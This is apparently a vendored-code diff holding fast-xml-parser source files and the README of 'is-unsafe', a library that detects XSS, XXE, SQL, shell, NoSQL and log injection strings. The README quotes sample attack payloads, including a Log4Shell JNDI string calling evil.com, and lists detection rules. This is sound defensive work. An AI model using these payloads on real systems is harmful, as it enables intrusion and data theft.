if (code === attrBoundary) attrBoundary = 0;
} else if (code === 34 || code === 39) { // " or '
attrBoundary = code;
} else if (code === closeCode0) {
if (closeCode1 !== -1) {
if (xmlData.charCodeAt(index + 1) === closeCode1) {
result += xmlData.substring(segmentStart, index);
return { data: result, index };
}
} else {
result += xmlData.substring(segmentStart, index);
return { data: result, index };
}
} else if (code === 9 && !attrBoundary) { // \t - only replace with space outside attribute values
// Flush accumulated segment, add space, start new segment
result += xmlData.substring(segmentStart, index) + ' ';
segmentStart = index + 1;
}
}
}
function findClosingIndex(xmlData, str, i, errMsg) {
const closingIndex = xmlData.indexOf(str, i);
if (closingIndex === -1) {
throw new Error(errMsg)
} else {
return closingIndex + str.length - 1;
}
}
function findClosingChar(xmlData, char, i, errMsg) {
const closingIndex = xmlData.indexOf(char, i);
if (closingIndex === -1) throw new Error(errMsg);
return closingIndex; // no offset needed
}
function readTagExp(xmlData, i, removeNSPrefix, closingChar = ">") {
const result = tagExpWithClosingIndex(xmlData, i + 1, closingChar);
if (!result) return;
let tagExp = result.data;
const closeIndex = result.index;
const separatorIndex = tagExp.search(/\s/);
let tagName = tagExp;
let attrExpPresent = true;
if (separatorIndex !== -1) {//separate tag name and attributes expression
tagName = tagExp.substring(0, separatorIndex);
tagExp = tagExp.substring(separatorIndex + 1).trimStart();
}
const rawTagName = tagName;
if (removeNSPrefix) {
const colonIndex = tagName.indexOf(":");
if (colonIndex !== -1) {
tagName = tagName.substr(colonIndex + 1);
attrExpPresent = tagName !== result.data.substr(colonIndex + 1);
}
}
return {
tagName: tagName,
tagExp: tagExp,
closeIndex: closeIndex,
attrExpPresent: attrExpPresent,
rawTagName: rawTagName,
}
}
/**
* find paired tag for a stop node
* @param {string} xmlData
* @param {string} tagName
* @param {number} i
*/
function readStopNodeData(xmlData, tagName, i) {
const startIndex = i;
// Starting at 1 since we already have an open tag
let openTagCount = 1;
let lenient = false; // set once a quote-aware tag scan fails
let nextGt = -1; // cached index of the next '>'
const xmllen = xmlData.length;
for (; i < xmllen; i++) {
if (xmlData[i] === "<") {
const c1 = xmlData.charCodeAt(i + 1);
if (c1 === 47) {//close tag '/'
const closeIndex = findClosingChar(xmlData, ">", i, `${tagName} is not closed`);
let closeTagName = xmlData.substring(i + 2, closeIndex).trim();
if (closeTagName === tagName) {
openTagCount--;
if (openTagCount === 0) {
return {
tagContent: xmlData.substring(startIndex, i),
i: closeIndex
}
}
}
i = closeIndex;
} else if (c1 === 63) { //?
const closeIndex = findClosingIndex(xmlData, "?>", i + 1, "StopNode is not closed.")
i = closeIndex;
} else if (c1 === 33
&& xmlData.charCodeAt(i + 2) === 45
&& xmlData.charCodeAt(i + 3) === 45) { // '!--'
const closeIndex = findClosingIndex(xmlData, "-->", i + 3, "StopNode is not closed.")
i = closeIndex;
} else if (c1 === 33
&& xmlData.charCodeAt(i + 2) === 91) { // '!['
const closeIndex = findClosingIndex(xmlData, "]]>", i, "StopNode is not closed.") - 2;
i = closeIndex;
} else {
const tagData = lenient ? undefined : readTagExp(xmlData, i, false);
if (tagData) {
const openTagName = tagData.tagName;
if (openTagName === tagName && tagData.tagExp[tagData.tagExp.length - 1] !== "/") {
openTagCount++;
}
i = tagData.closeIndex;
} else {
// no closing '>'. use lenient approach to find '<' instead of readTagExp, to avoid repeated rescans.
lenient = true;
if (nextGt < i) {
nextGt = xmlData.indexOf(">", i);
if (nextGt === -1) return; // no '>' left, so no closing tag can follow
}
const nextLt = xmlData.indexOf("<", i + 1);
if (nextLt === -1 || nextLt > nextGt) { // looks like a real tag
const exp = xmlData.substring(i + 1, nextGt);
const sep = exp.search(/\s/);
const name = sep === -1 ? exp : exp.substring(0, sep);
if (name === tagName && exp[exp.length - 1] !== "/") openTagCount++;
i = nextGt;
} // else: treat this '<' as plain text
}
}
}
}//end for loop
}
function parseValue(val, shouldParse, options) {
if (shouldParse && typeof val === 'string') {
//console.log(options)
const newval = val.trim();
if (newval === 'true') return true;
else if (newval === 'false') return false;
else return toNumber(val, options);
} else {
if (isExist(val)) {
return val;
} else {
return '';
}
}
}
function fromCodePoint(str, base, prefix) {
const codePoint = Number.parseInt(str, base);
if (codePoint >= 0 && codePoint <= 0x10FFFF) {
return String.fromCodePoint(codePoint);
} else {
return prefix + str + ";";
}
}
function transformTagName(fn, tagName, tagExp, options) {
if (fn) {
const newTagName = fn(tagName);
if (tagExp === tagName) {
tagExp = newTagName
}
tagName = newTagName;
}
tagName = sanitizeName(tagName, options);
return { tagName, tagExp };
}
function sanitizeName(name, options) {
if (criticalProperties.includes(name)) {
throw new Error(`[SECURITY] Invalid name: "${name}" is a reserved JavaScript keyword that could cause prototype pollution`);
} else if (DANGEROUS_PROPERTY_NAMES.includes(name)) {
return options.onDangerousProperty(name);
}
return name;
}

View File

@@ -0,0 +1,77 @@
/* global Uint8Array */
import { buildOptions } from './OptionsBuilder.js';
import OrderedObjParser from './OrderedObjParser.js';
import prettify from './node2json.js';
import { validate } from "../validator.js";
import XmlNode from './xmlNode.js';
export default class XMLParser {
constructor(options) {
this.externalEntities = {};
this.options = buildOptions(options);
}
/**
* Parse XML dats to JS object
* @param {string|Uint8Array} xmlData
* @param {boolean|Object} validationOption
*/
parse(xmlData, validationOption) {
if (typeof xmlData !== "string" && xmlData.toString) {
if (xmlData instanceof Uint8Array &&
!(typeof Buffer !== "undefined" && Buffer.isBuffer(xmlData))) {
xmlData = new TextDecoder("utf-8", { ignoreBOM: true }).decode(xmlData);
} else {
xmlData = xmlData.toString();
}
} else if (typeof xmlData !== "string") {
throw new Error("XML data is accepted in String or Bytes[] form.")
}
if (validationOption) {
if (validationOption === true) validationOption = {}; //validate with default options
const result = validate(xmlData, validationOption);
if (result !== true) {
throw Error(`${result.err.msg}:${result.err.line}:${result.err.col}`)
}
}
const orderedObjParser = new OrderedObjParser(this.options, this.externalEntities);
// orderedObjParser.entityDecoder.setExternalEntities(this.externalEntities);
const orderedResult = orderedObjParser.parseXml(xmlData);
if (this.options.preserveOrder || orderedResult === undefined) return orderedResult;
else return prettify(orderedResult, this.options, orderedObjParser.matcher, orderedObjParser.readonlyMatcher);
}
/**
* Add Entity which is not by default supported by this library
* @param {string} key
* @param {string} value
*/
addEntity(key, value) {
if (value.indexOf("&") !== -1) {
throw new Error("Entity value can't have '&'")
} else if (key.indexOf("&") !== -1 || key.indexOf(";") !== -1) {
throw new Error("An entity must be set without '&' and ';'. Eg. use '#xD' for '&#xD;'")
} else if (value === "&") {
throw new Error("An entity with value '&' is not permitted");
} else {
this.externalEntities[key] = value;
}
}
/**
* Returns a Symbol that can be used to access the metadata
* property on a node.
*
* If Symbol is not available in the environment, an ordinary property is used
* and the name of the property is here returned.
*
* The XMLMetaData property is only present when `captureMetaData`
* is true in the options.
*/
static getMetaDataSymbol() {
return XmlNode.getMetaDataSymbol();
}
}

177
node_modules/fast-xml-parser/src/xmlparser/node2json.js generated vendored Normal file
View File

@@ -0,0 +1,177 @@
'use strict';
import XmlNode from './xmlNode.js';
import { Matcher } from 'path-expression-matcher';
const METADATA_SYMBOL = XmlNode.getMetaDataSymbol();
/**
* Helper function to strip attribute prefix from attribute map
* @param {object} attrs - Attributes with prefix (e.g., {"@_class": "code"})
* @param {string} prefix - Attribute prefix to remove (e.g., "@_")
* @returns {object} Attributes without prefix (e.g., {"class": "code"})
*/
function stripAttributePrefix(attrs, prefix) {
if (!attrs || typeof attrs !== 'object') return {};
if (!prefix) return attrs;
const rawAttrs = {};
for (const key in attrs) {
if (key.startsWith(prefix)) {
const rawName = key.substring(prefix.length);
rawAttrs[rawName] = attrs[key];
} else {
// Attribute without prefix (shouldn't normally happen, but be safe)
rawAttrs[key] = attrs[key];
}
}
return rawAttrs;
}
/**
*
* @param {array} node
* @param {any} options
* @param {Matcher} matcher - Path matcher instance
* @returns
*/
export default function prettify(node, options, matcher, readonlyMatcher) {
return compress(node, options, matcher, readonlyMatcher);
}
/**
* @param {array} arr
* @param {object} options
* @param {Matcher} matcher - Path matcher instance
* @returns object
*/
function compress(arr, options, matcher, readonlyMatcher) {
let text;
const compressedObj = {}; //This is intended to be a plain object
for (let i = 0; i < arr.length; i++) {
const tagObj = arr[i];
const property = propName(tagObj);
// Push current property to matcher WITH RAW ATTRIBUTES (no prefix)
if (property !== undefined && property !== options.textNodeName) {
const rawAttrs = stripAttributePrefix(
tagObj[":@"] || {},
options.attributeNamePrefix
);
matcher.push(property, rawAttrs);
}
if (property === options.textNodeName) {
if (text === undefined) text = tagObj[property];
else text += "" + tagObj[property];
} else if (property === undefined) {
continue;
} else if (tagObj[property]) {
let val = compress(tagObj[property], options, matcher, readonlyMatcher);
const isLeaf = isLeafTag(val, options);
if (Object.keys(val).length === 0 && options.alwaysCreateTextNode) {
val[options.textNodeName] = "";
}
if (tagObj[":@"]) {
assignAttributes(val, tagObj[":@"], readonlyMatcher, options);
} else if (Object.keys(val).length === 1 && val[options.textNodeName] !== undefined && !options.alwaysCreateTextNode) {
val = val[options.textNodeName];
} else if (Object.keys(val).length === 0) {
if (options.alwaysCreateTextNode) val[options.textNodeName] = "";
else val = "";
}
if (tagObj[METADATA_SYMBOL] !== undefined && typeof val === "object" && val !== null) {
val[METADATA_SYMBOL] = tagObj[METADATA_SYMBOL]; // copy over metadata
}
if (compressedObj[property] !== undefined && Object.prototype.hasOwnProperty.call(compressedObj, property)) {
if (!Array.isArray(compressedObj[property])) {
compressedObj[property] = [compressedObj[property]];
}
compressedObj[property].push(val);
} else {
//TODO: if a node is not an array, then check if it should be an array
//also determine if it is a leaf node
// Pass jPath string or readonlyMatcher based on options.jPath setting
const jPathOrMatcher = options.jPath ? readonlyMatcher.toString() : readonlyMatcher;
if (options.isArray(property, jPathOrMatcher, isLeaf)) {
compressedObj[property] = [val];
} else {
compressedObj[property] = val;
}
}
// Pop property from matcher after processing
if (property !== undefined && property !== options.textNodeName) {
matcher.pop();
}
}
}
// if(text && text.length > 0) compressedObj[options.textNodeName] = text;
if (typeof text === "string") {
if (text.length > 0) compressedObj[options.textNodeName] = text;
} else if (text !== undefined) compressedObj[options.textNodeName] = text;
return compressedObj;
}
function propName(obj) {
const keys = Object.keys(obj);
for (let i = 0; i < keys.length; i++) {
const key = keys[i];
if (key !== ":@") return key;
}
}
function assignAttributes(obj, attrMap, readonlyMatcher, options) {
if (attrMap) {
const keys = Object.keys(attrMap);
const len = keys.length; //don't make it inline
for (let i = 0; i < len; i++) {
const atrrName = keys[i]; // This is the PREFIXED name (e.g., "@_class")
// Strip prefix for matcher path (for isArray callback)
const rawAttrName = atrrName.startsWith(options.attributeNamePrefix)
? atrrName.substring(options.attributeNamePrefix.length)
: atrrName;
// For attributes, we need to create a temporary path
// Pass jPath string or matcher based on options.jPath setting
const jPathOrMatcher = options.jPath
? readonlyMatcher.toString() + "." + rawAttrName
: readonlyMatcher;
if (options.isArray(atrrName, jPathOrMatcher, true, true)) {
obj[atrrName] = [attrMap[atrrName]];
} else {
obj[atrrName] = attrMap[atrrName];
}
}
}
}
function isLeafTag(obj, options) {
const { textNodeName } = options;
const propCount = Object.keys(obj).length;
if (propCount === 0) {
return true;
}
if (
propCount === 1 &&
(obj[textNodeName] || typeof obj[textNodeName] === "boolean" || obj[textNodeName] === 0)
) {
return true;
}
return false;
}

54
node_modules/fast-xml-parser/src/xmlparser/xmlNode.js generated vendored Normal file
View File

@@ -0,0 +1,54 @@
'use strict';
let METADATA_SYMBOL;
if (typeof Symbol !== "function") {
METADATA_SYMBOL = "@@xmlMetadata";
} else {
METADATA_SYMBOL = Symbol("XML Node Metadata");
}
export default class XmlNode {
constructor(tagname) {
this.tagname = tagname;
this.child = []; //nested tags, text, cdata, comments in order
this[":@"] = Object.create(null); //attributes map
}
add(key, val) {
// this.child.push( {name : key, val: val, isCdata: isCdata });
if (key === "__proto__") key = "#__proto__";
this.child.push({ [key]: val });
}
addChild(node, startIndex) {
if (node.tagname === "__proto__") node.tagname = "#__proto__";
if (node[":@"] && Object.keys(node[":@"]).length > 0) {
this.child.push({ [node.tagname]: node.child, [":@"]: node[":@"] });
} else {
this.child.push({ [node.tagname]: node.child });
}
// if requested, add the startIndex
this.addStartIndex(startIndex);
}
addStartIndex(startIndex) {
if (startIndex !== undefined) {
// Note: for now we just overwrite the metadata. If we had more complex metadata,
// we might need to do an object append here: metadata = { ...metadata, startIndex }
this.child[this.child.length - 1][METADATA_SYMBOL] = { startIndex };
}
}
addEndIndex(endIndex) {
const lastChild = this.child[this.child.length - 1];
// endIndex is write-once: when updateTag drops a node, the last child is a
// previously completed sibling whose endIndex must not be overwritten
if (lastChild !== undefined && lastChild[METADATA_SYMBOL] !== undefined
&& lastChild[METADATA_SYMBOL].endIndex === undefined) {
lastChild[METADATA_SYMBOL].endIndex = endIndex;
}
}
/** symbol used for metadata */
static getMetaDataSymbol() {
return METADATA_SYMBOL;
}
}

21
node_modules/is-unsafe/LICENSE generated vendored Normal file
View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 Natural Intelligence
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

632
node_modules/is-unsafe/README.md generated vendored Normal file
View File

@@ -0,0 +1,632 @@
# `is-unsafe`
> Zero-dependency, DOM-free, tree-shakeable pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SQL-STRICT, SHELL, REDOS, NOSQL, and LOG contexts.
[![npm version](https://img.shields.io/npm/v/is-unsafe.svg)](https://www.npmjs.com/package/is-unsafe)
[![license](https://img.shields.io/npm/l/is-unsafe.svg)](LICENSE)
---
## Why `is-unsafe`?
Sanitizer libraries like [DOMPurify](https://github.com/cure53/DOMPurify) require a DOM. They cannot run inside XML parsers, template engines, or server-side pipelines that process strings before they ever reach a browser.
`is-unsafe` fills that gap. It is a **pure predicate** — it answers one question:
> *Is this string value unsafe in a given context?*
It never mutates strings. It never touches the DOM. It has zero runtime dependencies.
### Motivating use case: `@nodable/entities` / `fast-xml-parser`
DOCTYPE blocks can define custom entities with arbitrary values:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE urlset [
<!ENTITY xss '</script><script>alert(document.domain)</script><x y="'>
]>
<urlset>
<url><loc>https://example.com/&xss;</loc></url>
</urlset>
```
When `@nodable/entities` resolves `&xss;`, it produces a raw string containing `</script><script>alert(...)`. Whether that string is dangerous depends on where it ends up. `is-unsafe` answers that question — without a DOM.
---
## Installation
```sh
npm install is-unsafe
```
> **Always check the final string.** If your code builds a value by concatenating parts, call `isUnsafe` on the *result*, not on the pieces. Two harmless strings can become unsafe only once joined:
>
> ```js
> const a = 'java', b = 'script&#58;alert(1)';
> isUnsafe(a, HTML); // false
> isUnsafe(b, HTML); // false
> isUnsafe(a + b, HTML); // true ← check this one
> ```
---
## Quick start
```js
import { isUnsafe, HTML, SQL, SHELL, REDOS, NOSQL, LOG } from 'is-unsafe';
isUnsafe('<script>alert(1)</script>', HTML) // → true
isUnsafe('New York, NY', HTML) // → false
isUnsafe("' OR 1=1--", SQL) // → true
isUnsafe('../etc/passwd', SHELL) // → true
isUnsafe('(a+)+', REDOS) // → true (ReDoS risk)
isUnsafe('{"$ne": null}', NOSQL) // → true
isUnsafe('${jndi:ldap://evil.com}', LOG) // → true (Log4Shell)
```
---
## v2 Migration guide
v2 replaces string context names with **imported pattern arrays**. This is the only breaking change.
| v1 | v2 |
|----|----|
| `import { isUnsafe, VALID_CONTEXTS } from 'is-unsafe'` | `import { isUnsafe, HTML, XML } from 'is-unsafe'` |
| `isUnsafe(v, 'HTML')` | `isUnsafe(v, HTML)` |
| `isUnsafe(v, ['HTML', 'XML'])` | `isUnsafe(v, [HTML, XML])` |
| `for (const ctx in VALID_CONTEXTS) { isUnsafe(v, ctx) }` | `for (const ctx of Object.values(VALID_CONTEXTS)) { isUnsafe(v, ctx) }` |
**Why the change?** String names required a central registry that imported all 9 context modules unconditionally. Even if you only used `HTML` and `XML`, your bundle included all contexts (~22 KB dead weight). With named imports, bundlers include only what you actually import.
---
## API
### `isUnsafe(value, context)` → `boolean`
Returns `true` if `value` is unsafe in the given context, `false` otherwise.
| Parameter | Type | Description |
|-----------|------|-------------|
| `value` | `string` | The string to test. Throws `TypeError` if not a string. |
| `context` | `PatternList \| PatternList[] \| RegExp` | A named context import, array of context imports, or a custom `RegExp`. |
```js
import { isUnsafe, HTML, XML } from 'is-unsafe';
// Single context
isUnsafe(value, HTML)
// Multiple contexts — true if unsafe in ANY of them
isUnsafe(value, [HTML, XML])
// Custom RegExp — true if pattern matches
isUnsafe(value, /my-pattern/i)
```
---
### `whyUnsafe(value, context)` → `MatchResult | null`
Like `isUnsafe`, but returns a `MatchResult` object describing the **first** matching rule, or `null` if the value is safe. Useful for logging and error messages.
```js
import { whyUnsafe, HTML } from 'is-unsafe';
const result = whyUnsafe('<script>alert(1)</script>', HTML);
// {
// context: 'HTML',
// id: 'html-script-open',
// description: '<script opening tag',
// pattern: /<script[\s>/]/i
// }
```
---
### `allUnsafe(value, context)` → `MatchResult[]`
Returns **all** matching rules across the given context(s), or an empty array if safe. Useful for comprehensive audits.
```js
import { allUnsafe, HTML } from 'is-unsafe';
const findings = allUnsafe('<script onload="x"></script>', HTML);
// [
// { context: 'HTML', id: 'html-script-open', ... },
// { context: 'HTML', id: 'html-script-close', ... },
// { context: 'HTML', id: 'html-inline-event-handler', ... }
// ]
```
---
### Named context exports
Each context is a named export. Import only what your code uses — unused contexts are dropped by your bundler.
```js
import { HTML, XML, SVG, SQL, SQL_STRICT, SHELL, REDOS, NOSQL, LOG } from 'is-unsafe';
```
Note: `SQL-STRICT` is exported as `SQL_STRICT` (hyphens are not valid in JS identifiers).
---
### Custom `PatternList`
You can supply your own pattern list alongside or instead of the built-in contexts:
```js
import { isUnsafe, whyUnsafe, HTML } from 'is-unsafe';
const INTERNAL_RULES = [
{ id: 'no-internal-ref', description: 'Blocks references to internal hostnames', pattern: /\.internal\b/i },
{ id: 'no-admin-path', description: 'Blocks paths starting with /admin', pattern: /\/admin\b/i },
];
// Optional — sets the context label in MatchResult. Defaults to 'CUSTOM'.
INTERNAL_RULES.label = 'INTERNAL';
isUnsafe('https://api.internal/data', INTERNAL_RULES) // true
isUnsafe('https://example.com/page', INTERNAL_RULES) // false
// Mix with built-in contexts
isUnsafe(value, [HTML, INTERNAL_RULES]);
const result = whyUnsafe('https://api.internal/admin', INTERNAL_RULES);
// { context: 'INTERNAL', id: 'no-internal-ref', description: '...', pattern: /.../ }
```
Without setting `.label`, `MatchResult.context` will be `'CUSTOM'`.
#### Entity decoding (v2.0.3+)
The built-in `HTML`, `XML` and `SVG` contexts test each rule against both the raw string and an entity-decoded copy, because browsers decode character references (`&#58;`, `&#x3a;`, `&colon;`, `&Tab;`, `&NewLine;`) before interpreting a URL.
A custom `PatternList` does **not** do this by default. Set `decodeEntities` to opt in:
```js
const INTERNAL_RULES = [
{ id: 'no-js-url', description: 'Blocks javascript: URLs', pattern: /javascript:/i },
];
isUnsafe('javascript&#58;alert(1)', INTERNAL_RULES); // false (raw match only)
INTERNAL_RULES.decodeEntities = true;
isUnsafe('javascript&#58;alert(1)', INTERNAL_RULES); // true (decoded copy also tested)
```
Enable it only for markup contexts. Leave it off for SQL, shell, log and similar rules, which should match the string exactly as supplied.
---
### `VALID_CONTEXTS`
A convenience object that re-exports all contexts under their canonical names. Useful for tooling or exhaustive checks across all contexts.
> **Warning:** importing `VALID_CONTEXTS` pulls in all 9 context modules. If your bundle size matters and you only need a few contexts, import them individually instead.
```js
import { VALID_CONTEXTS } from 'is-unsafe';
// { HTML: [...], XML: [...], SVG: [...], SQL: [...], 'SQL-STRICT': [...],
// SHELL: [...], REDOS: [...], NOSQL: [...], LOG: [...] }
// Iterate all contexts:
for (const [name, ctx] of Object.entries(VALID_CONTEXTS)) {
if (isUnsafe(value, ctx)) console.log(`Unsafe in ${name}`);
}
```
---
## Contexts
### `HTML`
XSS vectors when a string is rendered as HTML:
| Rule ID | What it catches |
|---------|----------------|
| `html-script-open` | `<script` opening tag |
| `html-script-close` | `</script>` closing tag |
| `html-javascript-protocol` | `javascript:` URI (with whitespace obfuscation) |
| `html-vbscript-protocol` | `vbscript:` URI |
| `html-data-html` | `data:text/html` URI |
| `html-data-xhtml` | `data:application/xhtml+xml` URI |
| `html-data-svg` | `data:image/svg+xml` URI |
| `html-inline-event-handler` | `onclick=`, `onerror=`, `onload=`, etc. |
| `html-entity-obfuscated-script` | `&#x3C;script`, `&#60;script`, `&lt;script` |
| `html-entity-obfuscated-javascript` | Entity-encoded leading letters of `javascript:` (colon/letter/tab encodings are also caught — see *Entity decoding* below) |
| `html-style-expression` | CSS `expression()` — IE code execution |
| `html-object-embed` | `<object>` and `<embed>` tags |
| `html-base-tag` | `<base href=` — relative URL hijacking |
| `html-meta-refresh` | `<meta http-equiv="refresh"` |
| `html-srcdoc` | `srcdoc=` attribute on iframes |
| `html-iframe` | `<iframe` tag |
| `html-form` | `<form` tag — phishing injection |
---
**Entity decoding (HTML, XML, SVG).** Browsers decode character references before interpreting a URL, so `javascript&#58;alert(1)` is a `javascript:` URL. These three contexts therefore test every rule against the raw input **and** an entity-decoded copy. Decoded forms: decimal/hex numeric references (any leading zeros, semicolon optional), `&colon;`, `&Tab;`, `&NewLine;`. Named references are case-sensitive and need `;`. `&amp;` is intentionally not decoded (double-encoded text renders as text). Other contexts (SQL, SHELL, LOG, …) are matched byte-for-byte.
---
### `XML`
Parser-level attacks in XML documents (distinct from HTML XSS):
| Rule ID | What it catches |
|---------|----------------|
| `xml-cdata-injection` | `<![CDATA[` injection |
| `xml-cdata-close` | `]]>` — closes an enclosing CDATA section |
| `xml-processing-instruction` | `<?xml-stylesheet`, `<?php`, `<?asp` |
| `xml-doctype-injection` | `<!DOCTYPE` embedded in content |
| `xml-entity-system` | `SYSTEM "..."` — XXE external entity |
| `xml-entity-public` | `PUBLIC "..."` — XXE external entity |
| `xml-entity-declaration` | `<!ENTITY` declaration |
| `xml-billion-laughs` | Repeated entity refs `&e1;&e2;&e3;` — expansion attack |
| `xml-namespace-confusion` | `xmlns=` attribute injection |
| `xml-comment-injection` | `<!--` comment open |
| `xml-comment-close` | `-->` comment close |
| `xml-pi-close` | `?>` processing instruction close |
---
### `SVG`
SVG-specific XSS vectors that bypass HTML-only sanitizers (including documented DOMPurify bypass patterns):
| Rule ID | What it catches |
|---------|----------------|
| `svg-script-element` | `<script` inside SVG |
| `svg-xlink-href-javascript` | `xlink:href="javascript:..."` |
| `svg-href-javascript` | `href="javascript:..."` |
| `svg-foreignobject` | `<foreignObject>` — embeds HTML inside SVG |
| `svg-use-external` | `<use href=` pointing to external URL |
| `svg-animate-href` | `<animate attributeName="href"` — dynamic href injection |
| `svg-animate-xlinkhref` | `<animate attributeName="xlink:href"` |
| `svg-set-javascript` | `<set to="javascript:..."` |
| `svg-event-handler` | SVG event handlers (`onload=`, `onactivate=`, `onbegin=`, etc.) |
| `svg-filter-feimage` | `<feImage href=` — external resource load |
| `svg-image-external` | `<image xlink:href=` with http/javascript URL |
| `svg-style-javascript` | `style=` containing `javascript:` |
---
### `SQL` and `SQL_STRICT`
Two tiers of SQL injection detection, chosen based on what kind of input you're validating.
**Use `SQL`** for general user-facing fields (names, descriptions, search queries). Its 15 rules are high-precision with very low false-positive risk.
**Use `SQL_STRICT`** when the input is specifically a SQL fragment or database identifier — it includes all `SQL` rules plus three additional rules that would produce false positives on general text:
| Extra rule in SQL_STRICT | Why it's noisy on general text |
|--------------------------|-------------------------------|
| `sql-line-comment` (`--`) | Fires on `"see note -- above"`, CSS `var(--primary)` |
| `sql-stacked-query` (`;SELECT`) | Semicolons are normal punctuation |
| `sql-hex-encoding` (`0xDEAD`) | Hex values appear in technical docs and logs |
**Base `SQL` rules (present in both):**
| Rule ID | What it catches |
|---------|----------------|
| `sql-block-comment` | `/*` — comment-based bypass |
| `sql-union-select` | `UNION SELECT` — data extraction |
| `sql-tautology-or` | `OR 1=1`, `OR 'a'='a'` — always-true bypass |
| `sql-tautology-and` | `AND 1=1`, `AND 'a'='a'` |
| `sql-quote-escape` | `\'` or `''` — string termination attempts |
| `sql-drop-table` | `DROP TABLE` |
| `sql-insert-into` | `INSERT INTO` |
| `sql-delete-from` | `DELETE FROM` |
| `sql-update-set` | `UPDATE ... SET` |
| `sql-exec-xp` | `EXEC xp_` — SQL Server extended procedures |
| `sql-sleep-waitfor` | `SLEEP(` / `WAITFOR DELAY` — time-based blind injection |
| `sql-cast-convert` | `CAST(` / `CONVERT(` — obfuscation |
| `sql-char-function` | `CHAR(` — ASCII character encoding |
| `sql-information-schema` | `INFORMATION_SCHEMA` — metadata extraction |
| `sql-load-file` | `LOAD_FILE(` / `INTO OUTFILE` — file system access |
---
### `SHELL`
Shell injection and path traversal vectors:
| Rule ID | What it catches |
|---------|----------------|
| `shell-path-traversal-unix` | `../` — Unix directory traversal |
| `shell-path-traversal-win` | `..\` — Windows directory traversal |
| `shell-absolute-path-unix` | Leading `/` — absolute Unix path |
| `shell-absolute-path-win` | `C:\` / `D:\` etc. — absolute Windows path |
| `shell-null-byte` | `\x00` or `%00` — null byte injection |
| `shell-command-subst` | `` `cmd` `` / `$(cmd)` — command substitution |
| `shell-pipe` | `|` — command piping |
| `shell-semicolon` | `;` — command chaining |
| `shell-ampersand` | `&&` / `&` — background / logical AND |
| `shell-redirect` | `>` / `>>` / `<` — I/O redirection |
---
### `REDOS`
Patterns dangerous when compiled as a RegExp (catastrophic backtracking):
| Rule ID | What it catches |
|---------|----------------|
| `redos-nested-quantifier` | `(a+)+`, `(a*)*` — nested quantifiers |
| `redos-overlapping-alternation` | `(a|a)+` — ambiguous alternation |
| `redos-star-plus-adjacent` | `a*+` / `(a+)*` — adjacent unbounded quantifiers |
---
### `NOSQL`
MongoDB query operator injection and prototype pollution:
| Rule ID | What it catches |
|---------|----------------|
| `nosql-where-operator` | `$where:` — server-side JS execution |
| `nosql-ne-operator` | `$ne:` — not-equal authentication bypass |
| `nosql-gt-operator` | `$gt:` / `$gte:` — greater-than bypass |
| `nosql-lt-operator` | `$lt:` / `$lte:` — less-than bypass |
| `nosql-regex-operator` | `$regex:` — blind character-by-character extraction |
| `nosql-or-operator` | `$or: [` — always-true condition injection |
| `nosql-and-operator` | `$and: [` — logical AND injection |
| `nosql-nor-operator` | `$nor: [` — logical NOR injection |
| `nosql-exists-operator` | `$exists:` — field enumeration |
| `nosql-in-operator` | `$in: [` — value enumeration |
| `nosql-expr-operator` | `$expr:` — aggregation expression injection |
| `nosql-function-operator` | `$function:` — arbitrary JavaScript (MongoDB 4.4+) |
| `nosql-accumulator-operator` | `$accumulator:` — custom JS aggregation |
| `nosql-proto-pollution` | `__proto__` — prototype pollution |
| `nosql-constructor-prototype` | `constructor.prototype` or JSON key adjacency |
| `nosql-proto-bracket` | `["__proto__"]` — bracket-notation prototype pollution |
Patterns handle both bare form (`$ne: null`) and JSON key form (`{"$ne": null}`) by allowing an optional closing quote between the operator name and the colon.
---
### `LOG`
Injection vectors dangerous when a string is written to a log file or passed to a logging framework:
| Rule ID | What it catches |
|---------|----------------|
| `log-crlf-injection` | Literal `\r` or `\n` — fake log line injection |
| `log-url-encoded-crlf` | `%0d`, `%0a`, `%0D`, `%0A` — URL-encoded newlines |
| `log-unicode-newline` | U+2028, U+2029 — Unicode line/paragraph separators |
| `log-log4shell-jndi` | `${jndi:...}` — Log4Shell RCE (CVE-2021-44228) |
| `log-log4shell-obfuscated` | `${::-` — Log4j WAF-bypass prefix |
| `log-log4j-lookup` | `${env:}`, `${sys:}`, `${ctx:}` — data exfiltration lookups |
| `log-ssti-double-brace` | `{{expression}}` — Jinja2, Twig, Handlebars SSTI |
| `log-ssti-hash-brace` | `#{expression}` — Thymeleaf, Velocity, ERB SSTI |
| `log-ssti-dollar-brace` | `${expr.method()}` — JSP EL, Freemarker, SpEL SSTI |
| `log-ssti-percent-tag` | `<%= expression %>` — Ruby ERB, ASP |
| `log-null-byte` | `\x00` or `%00` — truncates log entries |
| `log-ansi-escape` | `ESC[` — ANSI escape sequences that manipulate terminal output |
> **Note:** The `log-crlf-injection` rule flags literal newline characters (`\n`, `\r`). Apply `LOG` only to single-line log field values (usernames, IDs, request parameters), not to multi-line content.
---
## Integration examples
### `@nodable/entities` — `postCheck` callback (the motivating use case)
```js
import { isUnsafe, HTML } from 'is-unsafe';
import { EntityDecoder, ALL_ENTITIES } from '@nodable/entities';
const dec = new EntityDecoder({
namedEntities: ALL_ENTITIES,
postCheck: (resolved, original) => {
if (isUnsafe(resolved, HTML)) {
return original; // keep literal &entity; reference
// or: throw new Error(`Unsafe entity blocked: ${original}`);
// or: return '[BLOCKED]';
}
return resolved;
}
});
```
Only `html.js` ends up in your bundle — `XML`, `SQL`, and all other contexts are excluded automatically.
### `fast-xml-parser` — entity check for HTML + XML contexts
```js
